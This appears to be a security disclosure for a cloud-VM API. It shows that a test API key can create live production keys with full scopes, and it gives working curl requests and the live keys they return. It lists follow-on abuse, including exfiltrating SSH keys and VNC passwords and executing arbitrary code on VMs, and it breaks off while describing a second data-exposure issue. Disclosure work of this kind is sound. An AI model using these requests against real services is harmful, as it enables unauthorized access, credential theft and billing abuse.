A test API key (sk-coasty-test-*) — documented as returning "in-memory mocks; identical request/response shape; no real VMs spun up" and "never debit your balance" — can be used to create LIVE production API keys (sk-coasty-live-*). This completely breaks the test-production isolation model.
The /v1/keys endpoint does not restrict key creation to the same key_kind as the authenticating key. A test key can create live keys with any scope that provision real cloud VMs, access real data, and incur real billing charges.
Request (using test key):
curl -s -X POST "<https://coasty.ai/v1/keys>" \
-H "X-API-Key: sk-coasty-test-b8251..." \
-H "Content-Type: application/json" \
-d '{"name":"pwned-key","scopes":["predict","session","ground","parse","machines:read","machines:write","connection:read","keys","usage"]}'
Response (LIVE key returned):
{
"key": "sk-coasty-live-b9e6c72c...",
"key_id": "dc578e36a3382162",
"name": "pwned-key",
"tier": "free",
"scopes": [
"predict", "session", "ground", "parse",
"machines:read", "machines:write", "connection:read", "keys", "usage"
],
"created_at": "2026-07-11T20:01:19.700981"
}
Escalation to full access (test key creates live key with ALL scopes):
curl -s -X POST "<https://coasty.ai/v1/keys>" \
-H "X-API-Key: sk-coasty-test-b8251d727...." \
-H "Content-Type: application/json" \
-d '{"name":"pwned-full-access","scopes":["predict","session","ground","parse","runs:read","runs:write","workflows:read","workflows:write","machines:read","machines:write","connection:read","snapshots:write","files:read","files:write","terminal:exec","browser:execute","schedules:read","schedules:write","triggers:write","keys","usage"]}'
Response:
{
"key": "sk-coasty-live-09b373d6347470bf.....",
"key_id": "3f44fea85dbcd2ff",
"name": "pwned-full-access",
"tier": "free",
"scopes": [ ...21 scopes... ],
"created_at": "2026-07-11T20:02:59.615638"
}
connection:read scope to exfiltrate SSH private keys and VNC passwordskeys scope to list/delete all other API keysbrowser:execute / terminal:exec to execute arbitrary code on VMsThe Supabase anon key is statically embedded in the client-side JavaScript bundle (55166-*.js) — standard Supabase practice. RLS policies on chats and messages tables allow the anon role to read rows where public = true. This means: